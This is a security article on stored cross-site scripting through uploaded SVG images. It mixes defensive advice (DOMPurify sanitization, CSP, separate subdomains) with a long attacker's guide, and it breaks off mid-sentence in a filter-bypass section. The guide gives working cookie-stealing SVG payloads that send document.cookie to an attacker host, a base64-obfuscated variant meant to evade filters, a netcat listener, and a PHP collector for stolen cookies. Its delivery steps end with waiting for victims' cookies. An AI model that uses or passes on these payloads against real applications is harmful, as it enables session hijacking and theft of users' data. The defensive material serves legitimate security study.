Listen to this Post

Introduction:
Scalable Vector Graphics (SVG) files are XML-based vector images that support embedded JavaScript, making them a powerful but dangerous attack vector when uploaded to web applications. Unlike traditional raster images (PNG, JPEG), SVG files can contain active content that executes in the victim’s browser context, enabling attackers to steal session cookies, CSRF tokens, and sensitive user data through stored cross-site scripting (XSS) attacks. This article dissects how malicious SVG images are weaponized to hijack user sessions, provides hands-on exploitation techniques, and outlines defensive strategies for developers and security professionals.
Learning Objectives & Secrets:
- Objective 1: Understand SVG as an XSS Vector – Learn why SVG files are fundamentally different from conventional images and how their XML structure allows embedded script execution.
- Objective 2 Secret Tip: Cookie Exfiltration via SVG – Discover how attackers use the `onload` or `onerror` event handlers within SVG to send `document.cookie` to an attacker-controlled server without user interaction.
- Objective 3 Secret Tip: Bypassing Naive Sanitization – Learn how polyglot payloads and encoding tricks (e.g.,
&x3C;script&x3E;) can bypass weak input filters, and why server-side content sanitization is non-1egotiable.
You Should Know:
1. Anatomy of a Malicious SVG Payload
A standard SVG file that steals cookies contains embedded JavaScript that executes when the image is rendered. Below is a basic proof-of-concept:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <svg xmlns="http://www.w3.org/2000/svg" onload=" var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies); "> <rect width="100" height="100" fill="red" /> </svg>
When this SVG is viewed in a browser, the `onload` event triggers, executing the JavaScript that exfiltrates cookies to the attacker’s server. More sophisticated payloads can also steal CSRF tokens, JWT tokens, and perform authenticated actions on behalf of the victim.
Step‑by‑step guide to test SVG XSS:
- Create the malicious SVG – Save the above code as
poc.svg. - Host a listener – On your attacker machine, start a simple HTTP server to capture exfiltrated data:
Linux nc -lvnp 8080 Or use Python python3 -m http.server 8080
- Upload the SVG – Navigate to a target web application with an image upload feature (avatar, comment attachment, etc.) and upload
poc.svg. - Trigger the payload – View the uploaded SVG in the application context (e.g., profile page, comment section). The `onload` event fires, and you should see the cookie data appear in your listener.
- Verify – Check your listener logs for incoming GET requests containing
?c=sessionid=abc123....
2. Real-World Vulnerabilities and CVEs
Multiple CVEs highlight the prevalence of SVG-based stored XSS:
– CVE-2024-55451 – Dromara UJCMS 9.6.3 allowed authenticated SVG uploads leading to JWT theft.
– CVE-2024-52305 – UnoPim’s create user function allowed malicious SVG profile images to steal session cookies.
– CVE-2025-14202 – LinkDing’s bookmark asset rendering pipeline allowed SVG XSS to retrieve CSRF tokens and perform privilege escalation.
– CVE-2026-6827 – justhtml before 1.17.0 had multiple sanitization bypasses, including mutation-XSS parser-differential payloads.
These vulnerabilities demonstrate that SVG uploads are a persistent and widespread risk across CMS platforms, e-commerce systems, and enterprise applications.
Step‑by‑step guide to identify SVG upload endpoints:
- Map the application – Use Burp Suite or OWASP ZAP to spider the target and identify all file upload functionalities.
- Intercept upload requests – Capture a legitimate image upload and note the
Content-Type, endpoint URL, and form parameters. - Modify the request – Change the filename to `test.svg` and the file content to a benign SVG (e.g., a red rectangle).
- Check for reflection – After upload, visit the URL where the SVG is served. If the SVG renders without being converted to PNG/JPEG, the endpoint is likely vulnerable.
- Test with payload – Replace the benign SVG with a payload that triggers an alert (e.g.,
<svg onload="alert(document.domain)">). If an alert box appears, the endpoint is vulnerable to stored XSS.
3. Server-Side Defense: Sanitization and Content Security Policy
To mitigate SVG XSS, developers must implement multiple layers of defense:
A. Sanitize SVG Content – Use libraries like `DOMPurify` (Node.js) or `sanitize-svg` to remove dangerous elements and attributes:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const dirtySVG = <code><svg onload="alert('XSS')">...</svg></code>;
const cleanSVG = DOMPurify.sanitize(dirtySVG, {
USE_PROFILES: { svg: true },
FORBID_TAGS: ['script', 'foreignObject', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover']
});
B. Serve SVG as `text/plain` – Instead of image/svg+xml, serve uploaded SVGs with `Content-Type: text/plain` to prevent the browser from executing scripts.
C. Use a Separate Subdomain – Serve user-uploaded content from a domain that lacks access to session cookies (e.g., `cdn.example.com` instead of app.example.com).
D. Implement Content Security Policy (CSP) – Restrict script sources and disallow inline scripts:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'none';
Step‑by‑step guide to implement SVG sanitization in a Node.js application:
1. Install dependencies:
npm install dompurify jsdom
2. Create a sanitization middleware:
const sanitizeSVG = (req, res, next) => {
if (req.file && req.file.mimetype === 'image/svg+xml') {
const clean = DOMPurify.sanitize(req.file.buffer.toString());
req.file.buffer = Buffer.from(clean);
}
next();
};
3. Apply the middleware to upload routes.
- Test by uploading a malicious SVG and verifying that the `onload` attribute is stripped.
4. Client-Side Exploitation: Stealing Cookies via SVG
From an attacker’s perspective, the goal is to exfiltrate session cookies that can be used for session hijacking. Below is a more advanced payload that steals cookies and sends them to a remote server:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.com/collect', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
This payload uses the Fetch API to send cookies via POST, which is less likely to appear in server logs than a GET request. Attackers can also use `navigator.sendBeacon()` for stealthier exfiltration.
Step‑by‑step guide to craft and deliver a cookie-stealing SVG:
- Set up a collector server – Create a simple PHP or Node.js endpoint that logs incoming POST data:
<?php file_put_contents('cookies.log', file_get_contents('php://input') . "\n", FILE_APPEND); ?> - Embed the payload – Insert the Fetch API code into an SVG.
- Obfuscate – Encode the script using base64 or HTML entities to bypass basic filters:
<svg><script>eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL2NvbGxlY3QnLCB7bWV0aG9kOiAnUE9TVCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZX0p'));</script></svg> - Upload – Deliver the SVG via any vulnerable upload form.
- Wait – Monitor your collector logs for incoming cookie data.
5. Bypassing Common Filters
Many applications attempt to block `"` within `



